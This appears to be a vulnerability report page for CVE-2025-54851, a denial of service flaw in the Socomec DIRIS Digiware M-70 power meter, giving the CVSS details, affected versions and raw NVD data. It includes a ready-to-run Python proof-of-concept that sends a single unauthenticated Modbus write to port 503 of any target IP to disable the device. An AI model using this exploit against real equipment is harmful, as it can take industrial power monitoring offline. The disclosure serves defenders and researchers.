Security Vulnerability Report
中文
CVE-2025-54851 CVSS 7.5 HIGH

CVE-2025-54851

Published: 2025-12-01 16:15:54
Last Modified: 2025-12-05 20:47:18

Description

A denial of service vulnerability exists in the Modbus TCP and Modbus RTU over TCP functionality of Socomec DIRIS Digiware M-70 1.6.9. A specially crafted series of network requests can lead to a denial of service. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.An attacker can trigger this denial-of-service condition by sending a single Modbus TCP message to port 503 using the Write Single Register function code (6) to write the value 1 to register 4352. This action changes the Modbus address to 15. After this message is sent, the device will be in a denial-of-service state.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:socomec:diris_m-70_firmware:1.6.9:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:socomec:diris_m-70:-:*:*:*:*:*:*:* - NOT VULNERABLE
Socomec DIRIS Digiware M-70 < 1.6.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-54851 PoC - Socomec DIRIS Digiware M-70 Modbus DoS Reference: TALOS-2025-2248 """ import socket import struct def create_modbus_tcp_packet(unit_id, function_code, reference_num, value): """ Create Modbus TCP packet for Write Single Register (Function Code 6) """ transaction_id = 0x0001 # Transaction Identifier protocol_id = 0x0000 # Protocol Identifier (0 for Modbus) length = 6 # Byte count for remaining bytes # PDU: Function Code + Reference Number + Value pdu = struct.pack('>BHH', function_code, reference_num, value) # MBAP Header mbap = struct.pack('>HHHB', transaction_id, protocol_id, length, unit_id) return mbap + pdu def exploit_cve_2025_54851(target_ip, target_port=503): """ Exploit the DoS vulnerability in Socomec DIRIS Digiware M-70 Sending a single Modbus TCP message with FC6 to register 4352 with value 1 will change Modbus address to 15 and cause DoS condition """ print(f"[*] Targeting: {target_ip}:{target_port}") print("[*] Creating malicious Modbus TCP packet...") # Modbus Write Single Register (Function Code 6) # Write value 1 to register 4352 to trigger DoS packet = create_modbus_tcp_packet( unit_id=0x01, # Unit ID function_code=0x06, # Write Single Register reference_num=4352, # Register address (0x1100) value=1 # Value to write (triggers address change to 15) ) print(f"[*] Packet hex: {packet.hex()}") print("[*] Sending exploit packet...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) print("[+] Packet sent successfully") print("[+] Device should now be in DoS state (Modbus address changed to 15)") sock.close() except socket.error as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 503 exploit_cve_2025_54851(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54851", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:54.260", "lastModified": "2025-12-05T20:47:17.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial of service vulnerability exists in the Modbus TCP and Modbus RTU over TCP functionality of Socomec DIRIS Digiware M-70 1.6.9. A specially crafted series of network requests can lead to a denial of service. An attacker can send a sequence of unauthenticated packets to trigger this vulnerability.An attacker can trigger this denial-of-service condition by sending a single Modbus TCP message to port 503 using the Write Single Register function code (6) to write the value 1 to register 4352. This action changes the Modbus address to 15. After this message is sent, the device will be in a denial-of-service state."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:socomec:diris_m-70_firmware:1.6.9:*:*:*:*:*:*:*", "matchCriteriaId": "C07608BE-E7E3-44F5-AE9A-4AE36679F58A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:socomec:diris_m-70:-:*:*:*:*:*:*:*", "matchCriteriaId": "153A9D26-2C76-4B6B-AFD8-22DEB2081F34"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2248", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}